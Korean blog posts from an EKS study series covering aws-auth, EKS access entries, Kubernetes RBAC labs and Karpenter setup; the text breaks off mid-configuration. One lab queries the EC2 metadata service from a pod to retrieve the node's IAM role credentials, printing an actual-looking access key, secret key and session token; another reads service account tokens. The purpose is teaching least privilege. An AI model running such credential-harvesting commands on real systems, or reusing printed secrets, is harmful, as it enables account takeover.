# aws-auth 컨피그맵 확인 >> system:nodes 와 system:bootstrappers 의 권한은 어떤게 있는지 찾아보세요!
# username 확인! 인스턴스 ID? EC2PrivateDNSName?
kubectl describe configmap -n kube-system aws-auth

2. awscli 파드를 추가하고, 해당 노드(EC2)의 IMDS 정보 확인 : AWS CLI v2 파드 생성

# awscli 파드 생성
cat <<EOF | kubectl create -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: awscli-pod
spec:
  replicas: 2
  selector:
    matchLabels:
      app: awscli-pod
  template:
    metadata:
      labels:
        app: awscli-pod
    spec:
      containers:
      - name: awscli-pod
        image: amazon/aws-cli
        command: ["tail"]
        args: ["-f", "/dev/null"]
      terminationGracePeriodSeconds: 0
EOF

# 파드 생성 확인
kubectl get pod -owide

# 파드 이름 변수 지정
APODNAME1=$(kubectl get pod -l app=awscli-pod -o jsonpath={.items[0].metadata.name})
APODNAME2=$(kubectl get pod -l app=awscli-pod -o jsonpath={.items[1].metadata.name})
echo $APODNAME1, $APODNAME2

# awscli 파드에서 EC2 InstanceProfile(IAM Role)의 ARN 정보 확인
kubectl exec -it $APODNAME1 -- aws sts get-caller-identity --query Arn
kubectl exec -it $APODNAME2 -- aws sts get-caller-identity --query Arn

# awscli 파드에서 EC2 InstanceProfile(IAM Role)을 사용하여 AWS 서비스 정보 확인 >> 별도 IAM 자격 증명이 없는데 어떻게 가능한 것일까요?
# > 최소권한부여 필요!!! >>> 보안이 허술한 아무 컨테이너나 탈취 시, IMDS로 해당 노드의 IAM Role 사용 가능!
kubectl exec -it $APODNAME1 -- aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager
kubectl exec -it $APODNAME2 -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
 
# EC2 메타데이터 확인 : IDMSv1은 Disable, IDMSv2 활성화 상태, IAM Role - 링크
kubectl exec -it $APODNAME1 -- bash
-----------------------------------
아래부터는 파드에 bash shell 에서 실행
curl -s http://169.254.169.254/ -v
...

# Token 요청 
curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" ; echo
curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" ; echo

# Token을 이용한 IMDSv2 사용
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
echo $TOKEN
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v http://169.254.169.254/ ; echo
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v http://169.254.169.254/latest/ ; echo
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/ ; echo

# 위에서 출력된 IAM Role을 아래 입력 후 확인
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1DC6Y2GRDAJHK
{
  "Code" : "Success",
  "LastUpdated" : "2023-05-27T05:08:07Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA5ILF2FJI5VPIYJHP",
  "SecretAccessKey" : "rke6HXkaG4B/YLGUyAYtDnd3eMrjXlCpiB4h+9XJ",
  "Token" : "IQoJb3JpZ2luX2VjEAUaDmFwLW5vcnRoZWFzdC0yIkcwRQIhAOLQr2c2k4UwqTR2Iof2wq9Faduno1a2FX07ASHsO/rCAiAvCqQRv/JrSDZNZKNMloaBTR4s91O+RNWfSlfNluimmirLBQg+EAEaDDkxMTI4MzQ2NDc4NSIM1/RJmwkWziNhz8TEKqgFZZr1FpwHmLWNzdCdbNxtPk/YhbqbED6JzFiWJssqdRq4UniamoGrkV75oaf7o0CXQTlgK7r6f07goYA268UlqGx9XHKmeSoUt3ZTG79B1BIiSW22JVFzs4/fMpcwQLFv1lJKcGOqKehXrlq4yQ2zln4QTi/S30rp2ARiUfjgdp2+gkWKzOVWkdgoKtn3OAfdI/hBJHiz1eDPZsqqzv8eyP6sdo1xHJ6OY7xjLtTHWRaQpt6SStKTzsN88sJi9NebBXV63FJ6EkGNaC7eFo/nq9xZtGJqsu3PEuseadl8a8LJzOfNO0NP+4p8o0fMV4oeKSItZUIu88CvinvGd3bp1FWlVItDsGwjo6qOTxCg2ov6p7cAbTudEA5AwSjDlHm/BX08JN4XN7kDKtBQhHoWRbeI3suqZmtLPrSu5NCfgVu2jJpMiwOEhVV9W+fBUica345sIp94qIVVwrVbDnuLC0QDSXKxD+GRhcqdtA54QmUodqxv/bEUlRy1wVUty7Umucxl3B6MYBVSXR7PRzcf2U3vvqbJDJAT5dhFTRI1gK1YcXLzpT1T3wluMsyMPFpEWYMe/QEDAn0UwJ55pZt2pKohioiLJ3amWfNUhzoDkmXXZhAOM71e8gUVdrtAVcnl30MTDjHlIWIOBWrVMshunM5Wfmr4H4BAV+8of6xGz5AhoodWNVE+/x+XifO6h9l+Plwq24Jp8SbiCF3ZFQVe20ijsfDqK6SFAveL4vcVz7sEGLTZXLNLycgeGQmcvkb7Mmmoir/9UwNCWFWBbWXZfsEbNfSLhInw+k53FLb5I+axJPhEDSE5Iqmu+cuvoZfLy+bOailVgQN/jX6vZSL3ihhJwsP7t58urN34tKP+sjOpIBWv2bV2OnntaAqbc24tmc0wjWkaw5IwqKDGowY6sQGFB40kmsXmxihug/yKwcMK/pg5xFknPFO56P6BzErLmt1hcpNF4QBQzh/sdFi7Y/EOh9NqU/XFdFeJLp6KgaxUASLSW/k6ee+RzhbW0aSJb9GYi7tZdArcjg4YaQ6hdXdCFXiYWbNyIMs2MH8APT5jFDnwpbqSnlO2Ao64XY12cm2tMWVH+KTUyLGICHP1az7kD3/tV9glw9rJB2AOL4iA3TTuK+U2o+pHWEHRQOVh3p4=",
  "Expiration" : "2023-05-27T11:09:07Z"
}
## 출력된 정보는 AWS API를 사용할 수 있는 어느곳에서든지 Expiration 되기전까지 사용 가능

# 파드에서 나오기
exit
---

A deep dive into simplified Amazon EKS access management controls & Access Management

Configmap을 사용하여 클러스터 액세스를 관리하면 너무 복잡하고 에러 가능성이 높아 최대한 간단하게 제공하고자 API를 사용합니다.

EKS → 액세스 : IAM 액세스 항목

EKS → 액세스 구성 모드 확인 : EKS API 및 ConfigMap (정책 중복 시 EKS API 우선되며 ConfigMap은 무시됩니다.)

기본 정보 확인 : access policy, access entry, associated-access-policy

https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html#access-policy-permissions

# EKS API 액세스모드로 변경
aws eks update-cluster-config --name $CLUSTER_NAME --access-config authenticationMode=API

# List all access policies : 클러스터 액세스 관리를 위해 지원되는 액세스 정책
## AmazonEKSClusterAdminPolicy – 클러스터 관리자
## AmazonEKSAdminPolicy – 관리자
## AmazonEKSEditPolicy – 편집
## AmazonEKSViewPolicy – 보기
aws eks list-access-policies | jq

# 맵핑 클러스터롤 정보 확인
kubectl get clusterroles -l 'kubernetes.io/bootstrapping=rbac-defaults' | grep -v 'system:'

kubectl describe clusterroles admin
kubectl describe clusterroles cluster-admin
kubectl describe clusterroles edit
kubectl describe clusterroles view

aws eks list-access-entries --cluster-name $CLUSTER_NAME | jq

aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/admin | jq

aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-t4MD9Py4ZCyK | jq

aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/admin | jq

aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-t4MD9Py4ZCyK | jq

testuser의 권한을 API로 설정

# testuser 의 access entry 생성
aws eks create-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser
aws eks list-access-entries --cluster-name $CLUSTER_NAME | jq -r .accessEntries[]

# testuser에 AmazonEKSClusterAdminPolicy 연동
aws eks associate-access-policy --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster

#
aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq
aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq

[myeks-bastion-2]에서 testuser로 확인

# testuser 정보 확인
aws sts get-caller-identity --query Arn
kubectl whoami

# kubectl 시도
kubectl get node -v6
kubectl api-resources -v5
kubectl rbac-tool whoami
kubectl auth can-i delete pods --all-namespaces
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
eksctl get iamidentitymapping --cluster $CLUSTER_NAME

Access entries and Kubernetes groups

# 기존 testuser access entry 제거
aws eks delete-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser
aws eks list-access-entries --cluster-name $CLUSTER_NAME | jq -r .accessEntries[]

# 원하는 권한의 ClusterRole 생성
cat <<EoF> ~/pod-viewer-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pod-viewer-role
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["list", "get", "watch"]
EoF

cat <<EoF> ~/pod-admin-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pod-admin-role
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["*"]
EoF

kubectl apply -f ~/pod-viewer-role.yaml
kubectl apply -f ~/pod-admin-role.yaml

# 롤바인딩
kubectl create clusterrolebinding viewer-role-binding --clusterrole=pod-viewer-role --group=pod-viewer
kubectl create clusterrolebinding admin-role-binding --clusterrole=pod-admin-role --group=pod-admin

#
aws eks create-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser --kubernetes-group pod-viewer

#
aws eks list-associated-access-policies --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser
aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq

[myeks-bastion-2]에서 testuser로 확인 : pod-viewer에는 delete 권한 없음

# testuser 정보 확인
aws sts get-caller-identity --query Arn
kubectl whoami

# kubectl 시도
kubectl get pod -v6
kubectl api-resources -v5
kubectl auth can-i get pods --all-namespaces
kubectl auth can-i delete pods --all-namespaces

kubernetesGroups 업데이트 적용 : pod-admin으로 access-entry 업데이트

# pod-admin으로 access entry update
aws eks update-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser --kubernetes-group pod-admin | jq -r .accessEntry

aws eks describe-access-entry --cluster-name $CLUSTER_NAME --principal-arn arn:aws:iam::$ACCOUNT_ID:user/testuser | jq

[myeks-bastion-2]에서 testuser로 확인 : admin 권한으로는 delete 가능

# testuser 정보 확인
aws sts get-caller-identity --query Arn
kubectl whoami

# kubectl 시도
kubectl get pod -v6
kubectl api-resources -v5
kubectl auth can-i get pods --all-namespaces
kubectl auth can-i delete pods --all-namespaces

[AEWS] K8S Security

imxsuu — Mon, 8 Apr 2024 00:50:49 +0900

K8S(API 접근) 인증(Authentication)/인가(Authorization)

K8S Admission Controller

K8S Admission Controller는 클러스터 사용 방법을 관리하고 시행하는 플러그인입니다. API 요청을 가로채고(인증된) 요청 개체를 변경하거나 요청을 모두 거부할 수 있는 일종의 Gateway로 생각할 수 있습니다. 승인 제어 프로세스는 두 단계로 구성됩니다. 즉, 변경(mutating) 단계가 먼저 실행되고 그 다음 검증(validating) 단계가 실행됩니다. 결과적으로 Admission Controller는 컨트롤러를 변경하거나 유효성을 검사하는 역할을 하거나 두 가지의 조합으로 작동할 수 있습니다. 예를 들어 LimitRanger Admission Controller는 기본 리소스 요청 및 제한(mutating 단계)으로 파드를 늘릴 수 있을 뿐만 아니라 명시적으로 설정된 리소스 요구 사항이 있는 파드가 LimitRange 객체에 지정된 네임스페이스별 제한을 초과하지 않는지 확인할 수 있습니다(검증 단계).

출처:https://kubernetes.io/blog/2019/03/21/a-guide-to-kubernetes-admission-controllers/

서비스 어카운트(Service Account) : AWS의 User와 같은 개념입니다. 쿠버네티스는 이를 통해 사용자를 식별합니다.
API 서버 사용 : kubectl(config, 다수 클러스터 관리 가능), 서비스 어카운트, https(X.509 Client Certs) X.509 발음 참조
API 서버 접근 과정 : 인증(Authentication) → 인가(Authorization) → Admission Control

인증(Authentication)

K8S 인증(Authentication) 방법은 다음과 같이 크게 5종류로 나눠볼 수 있습니다. 인증과정은 쿠버네티스 내부에 인증서를 저장하지 않고 K8S API Server에서 이루어지기 때문에 쿠버네티스 체계에 종속적이지 않고 다양한 인증체계를 사용할 수 있습니다. 그 중에서도 X.509 방식을 자세히 살펴봅니다.

X.509 Client Certs: X.509 인증서를 이용한 상호 TLS 인증
HTTP Authentication: HTTP Authentication을 이용한 사용자 인증
OpenID Connect: Google OAuth와 같은 인증 provider를 이용한 인증
Webhook 인증: Webhook 인증서버를 통한 사용자 인증
Proxy Auth: Proxy 서버를 통한 대리 인증

X.509 Client Certs : kubeconfig에 CA crt(발급 기관 인증서), Client crt(클라이언트 인증서), Client key(클라이언트 개인키) 를 통해 인증해야 합니다.
kubectl : contexts에 클러스터와 유저 및 인증서/키를 통해 여러 클러스터(kubeconfig) 관리가 가능합니다.
Service Account : 기본 서비스 어카운트(default)와 시크릿(CA crt 와 token)을 통해 사용자를 식별합니다.

인가(Authorization)

인가 방법에는 다음과 같이 4가지가 있습니다. 그 중에서도 RBAC을 중점적으로 살펴봅니다.

RBAC : 역할 기반의 권한 관리, 사용자와 역할을 별개로 선언 후 두 가지를 조합(binding)해서 사용자에게 권한을 부여하여 kubectl or API로 관리하는 방식입니다.
- Namespace/Cluster - Role/ClusterRole, RoleBinding/ClusterRoleBinding, Service Account
- Role(롤) - (RoleBinding 롤 바인딩) - Service Account(서비스 어카운트) : 롤 바인딩은 롤과 서비스 어카운트를 연결합니다.
- Role(네임스페이스내 자원의 권한) vs ClusterRole(클러스터 수준의 자원의 권한)

.kube/config 파일 내용

clusters : kubectl이 사용할 쿠버네티스 API 서버의 접속 정보 목록. 원격의 쿠버네티스 API 서버의 주소를 추가해 사용 가능합니다.
users : 쿠버네티스의 API 서버에 접속하기 위한 사용자 인증 정보 목록. (서비스 어카운트의 토큰, 혹은 인증서의 데이터 등)
contexts : cluster 항목과 users 항목에 정의된 값을 조합해 최종적으로 사용할 쿠버네티스 클러스터의 정보(컨텍스트)를 설정.
- 예를 들어 clusters 항목에 클러스터 A,B 가 정의돼 있고, users 항목에 사용자 a,b 가 정의돼 있다면 cluster A + user a 를 조합해, 'cluster A 에 user a 로 인증해 쿠버네티스를 사용한다' 라는 새로운 컨텍스트를 정의할 수 있습니다.
- kubectl 을 사용하려면 여러 개의 컨텍스트 중 하나를 선택해야 합니다.

cat .kube/config

테스트

테스트 환경

쿠버네티스에 사용자를 위한 서비스 어카운트(Service Account, SA)를 생성 : dev-k8s, infra-k8s
사용자별 다른 권한(Role, 인가) : dev-k8s(dev-team 네임스페이스 내 모든 동작) , infra-k8s(dev-team 네임스페이스 내 모든 동작)
각각 별도의 kubectl 파드를 생성하고, 해당 파드에 SA 를 지정하여 권한에 대한 테스트 진행

네임스페이스와 서비스 어카운트 생성 후 확인

파드 기동 시 서비스 어카운트 한 개가 할당되며, 서비스 어카운트 기반으로 인증/인가가 진행됩니다. 미지정 시 기본 서비스 어카운트가 할당됩니다.
1.24 이후 버전부터 서비스 어카운트에 자동으로 시크릿이 생성되지 않아 직접 생성해 주어야 합니다. (1.23 이전 버전들은 서비스 어카운트에 자동 생성된 시크릿에 저장된 토큰으로 쿠버네티스 API에 대한 인증 정보로 사용할 수 있었습니다.)

# 네임스페이스(Namespace, NS) 생성 및 확인
kubectl create namespace dev-team
kubectl create ns infra-team

# 네임스페이스 확인
kubectl get ns

# 네임스페이스에 각각 서비스 어카운트 생성 : serviceaccounts 약자(=sa)
kubectl create sa dev-k8s -n dev-team
kubectl create sa infra-k8s -n infra-team

# 서비스 어카운트 정보 확인
kubectl get sa -n dev-team
kubectl get sa dev-k8s -n dev-team -o yaml | yh

kubectl get sa -n infra-team
kubectl get sa infra-k8s -n infra-team -o yaml | yh

서비스 어카운트를 지정하여 파드 생성 후 권한 테스트

https://kubetm.github.io/practice/intermediate/object-authentication/

각각의 네임스페이스에 kubectl 컨테이너 이미지를 사용하여 kubectl 파드를 생성합니다.

# 각각 네임스페이스에 kubectl 파드 생성 - 컨테이너이미지
# docker run --rm --name kubectl -v /path/to/your/kube/config:/.kube/config bitnami/kubectl:latest
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: dev-kubectl
  namespace: dev-team
spec:
  serviceAccountName: dev-k8s
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:1.28.5
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: infra-kubectl
  namespace: infra-team
spec:
  serviceAccountName: infra-k8s
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:1.28.5
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod -A
kubectl get pod -o dev-kubectl -n dev-team -o yaml
kubectl get pod -o infra-kubectl -n infra-team -o yaml

파드에 적용된 서비스 어카운트 및 토큰과 인증서 정보를 파드에 직접 접속하여 확인할 수 있습니다.

# 파드에 기본 적용되는 서비스 어카운트(토큰) 정보 확인
kubectl exec -it dev-kubectl -n dev-team -- ls /run/secrets/kubernetes.io/serviceaccount
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/token
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/namespace
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/ca.crt

각각의 파드에 접속하여 권한 테스트를 진행해보면 해당 서비스 어카운트로는 파드의 리소스를 접근할 수 없어 에러가 발생합니다.

# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'

# 권한 테스트
k1 get pods # kubectl exec -it dev-kubectl -n dev-team -- kubectl get pods 와 동일한 실행 명령이다!
k1 run nginx --image nginx:1.20-alpine
k1 get pods -n kube-system

k2 get pods # kubectl exec -it infra-kubectl -n infra-team -- kubectl get pods 와 동일한 실행 명령이다!
k2 run nginx --image nginx:1.20-alpine
k2 get pods -n kube-system

kubectl 실행 사용자가 get pods에 대한 권한이 있는지 조회해 봅니다.

# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods

각각 네임스페이스에 롤(Role)를 생성 후 서비스 어카운트 바인딩

롤(Role) : apiGroups 와 resources 로 지정된 리소스에 대해 verbs 권한을 인가합니다.
실행 가능한 조작(verbs) : *(모두 처리), create(생성), delete(삭제), get(조회), list(목록조회), patch(일부업데이트), update(업데이트), watch(변경감시)

https://kubetm.github.io/practice/intermediate/object-authorization/

dev-team과 infra-team 각각의 네임스페이스에 모든 권한에 접근할 수 있는 롤을 생성합니다.

# 각각 네임스페이스내의 모든 권한에 대한 롤 생성
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-dev-team
  namespace: dev-team
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-infra-team
  namespace: infra-team
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

# 롤 확인 
kubectl get roles -n dev-team
kubectl get roles -n infra-team
kubectl get roles -n dev-team -o yaml
kubectl describe roles role-dev-team -n dev-team

생성한 롤과 서비스어카운트를 롤바인딩을 통해 연동합니다.

# 롤바인딩 생성 : '서비스어카운트 <-> 롤' 간 서로 연동
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: roleB-dev-team
  namespace: dev-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-dev-team
subjects:
- kind: ServiceAccount
  name: dev-k8s
  namespace: dev-team
EOF

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: roleB-infra-team
  namespace: infra-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-infra-team
subjects:
- kind: ServiceAccount
  name: infra-k8s
  namespace: infra-team
EOF

# 롤바인딩 확인
kubectl get rolebindings -n dev-team
kubectl get rolebindings -n infra-team
kubectl get rolebindings -n dev-team -o yaml
kubectl describe rolebindings roleB-dev-team -n dev-team

서비스 어카운트를 지정하여 생성한 파드에서 다시 권한 테스트

# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'

# 권한 테스트
k1 get pods 
k1 run nginx --image nginx:1.20-alpine
k1 get pods
k1 delete pods nginx
k1 get pods -n kube-system
k1 get nodes

k2 get pods 
k2 run nginx --image nginx:1.20-alpine
k2 get pods
k2 delete pods nginx
k2 get pods -n kube-system
k2 get nodes

kubectl 사용자가 get pods에 대한 권한이 있는지 조회해 봅니다.

# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods

리소스 삭제

kubectl delete ns dev-team infra-team

[AEWS] Karpenter

imxsuu — Thu, 4 Apr 2024 15:57:28 +0900

Karpenter : K8S Native AutoScaler

기존 오토스케일링 그룹을 사용하는 CA(Cluster Autoscaler)에서 AWS의 오토스케일링 그룹과 EKS의 쿠버네티스 간의 관리 정보가 동기화되지 않아 발생하는 문제점들을 해결하기 위해 만들어진 오픈소스 솔루션이라고 생각하시면 이해가 쉬우실 것 같습니다. 이를 활용하면 몇 초 만에 컴퓨팅 리소스를 제공해 줍니다.

쿠버네티스 스케줄러가 예약 불가능으로 표시한 파드를 감시합니다.
파드에서 요청한 스케줄링 제약 조건(resource requests, nodeselectors, affinities, tolerations, topology spread constraints)을 판단합니다.
파드의 요구 사항을 충족하는 노드를 프로비저닝 합니다.
파드가 새로운 노드에서 실행되도록 스케줄링 합니다.
노드가 더 이상 필요하지 않은 경우 노드를 제거합니다.

출처 :CON405_How-to-monitor-and-reduce-your-compute-costs.pdf

작동 방식
- 모니터링 → 스케줄링 되지 않은 파드 발견 → 스펙 평가 → 생성 ⇒ Provisioning
- 모니터링 → (데몬셋 이외의 파드가 없을 때)비어있는 노드 발견 → 제거 ⇒ Deprovisioning
Provisioner CRD : 쿠버네티스 클러스터 내에서 특정 리소스를 프로비저닝(Provisioning)하는 작업에 대한 사용자 지정 리소스 정의를 나타냅니다. (오토스케일링 그룹의 시작 템플릿이 필요 없어집니다.)
- 필수 : EC2 보안그룹, 서브넷
- 리소스 찾는 방식 : 태그 기반 자동, 리소스 ID 직접 명시 (영역 명시)
- 인스턴스 타입은 가드레일 방식으로 선언 가능 : 스팟(우선) vs 온디맨드 등 다양한 타입의 인스턴스가 가능합니다.
파드에 적합한 인스턴스 중 가장 저렴한 인스턴스로 증설됩니다.
PV를 위해 단일 서브넷에 노드 그룹을 만들 필요가 없으며 자동으로 PV가 존재하는 서브넷에 노드를 생성합니다.
사용하지 않는 노드를 자동으로 정리하고 일정 기간이 지나면 노드를 자동으로 만료시킬 수 있습니다.
- ttlSecondsAfterEmpty : 노드에 데몬셋을 제외한 모든 파드가 존재하지 않을 경우 해당 값 이후에 자동으로 정리합니다.
- ttlSecondsUntilExpired : 설정한 기간이 지난 노드는 자동으로 cordon, drain 처리가 되어 노드를 정리합니다.
  - 이때 노드가 주기적으로 정리되면 자연스럽게 기존에 여유가 있는 노드에 재배치되기 때문에 좀 더 효율적으로 리소스를 사용할 수 있으며 최신 AMI 사용 환경에도 도움이 됩니다.
- 노드가 제 때 drain되지 않는다면 비효율적으로 운영 될 수 있습니다.
노드를 줄여도 다른 노드에 충분한 여유가 있다면 자동으로 정리해 줍니다.
큰 노드 하나가 작은 노드 여러개보다 비용이 저렴하다면 자동으로 합쳐줍니다. 이는 기존에 확장 속도가 느려 보수적으로 운영하던 부분을 해소시킬 수 있습니다.
오버 프로비저닝 필요 : Karpenter를 쓰더라도 EC2가 뜨고 데몬셋이 모두 설치되는데 최소 1~2분이 소요됩니다. 증설용 깡통 파드를 만들어 여유 공간을 강제로 확보하는 것이 좋습니다.
오버 프로비저닝 파드 x KEDA : 대규모 증설이 예상 되는 경우 미리 준비하는 것이 좋습니다.

Getting Started with Karpenter

아래의 CloudFormation YAML 파일을 통해 Karpenter를 위한 새로운 EC2를 배포합니다.

curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/karpenter-preconfig.yaml

배포된 작업용 EC2에 ec2-user로 접속하여 IP 주소를 확인하면 EKS 노드와의 구분을 위해 그동안 사용했던 192.168 대역대가 아닌 172.30 대역을 사용하는 것을 확인할 수 있습니다.

ssh -i <AWS pem key> ec2-user@$(aws cloudformation describe-stacks --stack-name myeks2 --query 'Stacks[*].Outputs[0].OutputValue' --output text)

# IP 주소 확인 : 172.30.0.0/16 VPC 대역에서 172.30.1.0/24 대역을 사용 중
ip -br -c addr

EKS Node Viewer도 다시 설치합니다.

# EKS Node Viewer 설치 : 현재 ec2 spec에서는 설치에 다소 시간이 소요됨 = 2분 이상
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest

# [터미널1] bin 확인
cd ~/go/bin && ./eks-node-viewer -h

# EKS 배포 완료 후 실행 하자
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory

Karpenter가 포함된 EKS 배포를 위해 변수를 설정합니다. 쿠버네티스와 Karpenter는 공식문서에 안내된 최신버전으로 진행합니다. 또한 Karpenter를 통해 프로비저닝되는 EC2의 인스턴스 타입이 다양할 수 있으므로 다양한 AMI ID를 변수로 설정합니다. echo 명령어를 통해 변수가 모두 잘 출력되는지 확인하고 배포를 진행해야 합니다.

# 변수 정보 확인
export | egrep 'ACCOUNT|AWS_' | egrep -v 'SECRET|KEY'

# 변수 설정
export KARPENTER_NAMESPACE="kube-system"
export K8S_VERSION="1.29"
export KARPENTER_VERSION="0.35.2"
export TEMPOUT=$(mktemp)
export ARM_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2-arm64/recommended/image_id --query Parameter.Value --output text)"
export AMD_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2/recommended/image_id --query Parameter.Value --output text)"
export GPU_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2-gpu/recommended/image_id --query Parameter.Value --output text)"
export AWS_PARTITION="aws"
export CLUSTER_NAME="${USER}-karpenter-demo"
echo "export CLUSTER_NAME=$CLUSTER_NAME" >> /etc/profile
echo $KARPENTER_VERSION $CLUSTER_NAME $AWS_DEFAULT_REGION $AWS_ACCOUNT_ID $TEMPOUT $ARM_AMI_ID $AMD_AMI_ID $GPU_AMI_ID

CloudFormation 스택으로 IAM Policy와 Karpenter NodeRole을 먼저 생성합니다. 이는 3분 정도 소요됩니다.

# CloudFormation 스택으로 IAM Policy, Role(KarpenterNodeRole-myeks2) 생성 : 3분 정도 소요
curl -fsSL https://raw.githubusercontent.com/aws/karpenter-provider-aws/v"${KARPENTER_VERSION}"/website/content/en/preview/getting-started/getting-started-with-karpenter/cloudformation.yaml  > "${TEMPOUT}" \
&& aws cloudformation deploy \
  --stack-name "Karpenter-${CLUSTER_NAME}" \
  --template-file "${TEMPOUT}" \
  --capabilities CAPABILITY_NAMED_IAM \
  --parameter-overrides "ClusterName=${CLUSTER_NAME}"

Karpenter 설정이 포함된 EKS 클러스터를 생성합니다. 생성에는 약 20분 정도 소요됩니다. 클러스터에서 생성된 리소스들은 모두 Karpenter Discovery 태그가 붙어 Karpenter에서 관리할 수 있게 됩니다. 또한 도메인으로 접근할 수 있도록 externalDNS 옵션이 추가되었습니다.

# 클러스터 생성 : myeks2 EKS 클러스터 생성 19분 정도 소요
eksctl create cluster -f - <<EOF
---
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig
metadata:
  name: ${CLUSTER_NAME}
  region: ${AWS_DEFAULT_REGION}
  version: "${K8S_VERSION}"
  tags:
    karpenter.sh/discovery: ${CLUSTER_NAME}

iam:
  withOIDC: true
  serviceAccounts:
  - metadata:
      name: karpenter
      namespace: "${KARPENTER_NAMESPACE}"
    roleName: ${CLUSTER_NAME}-karpenter
    attachPolicyARNs:
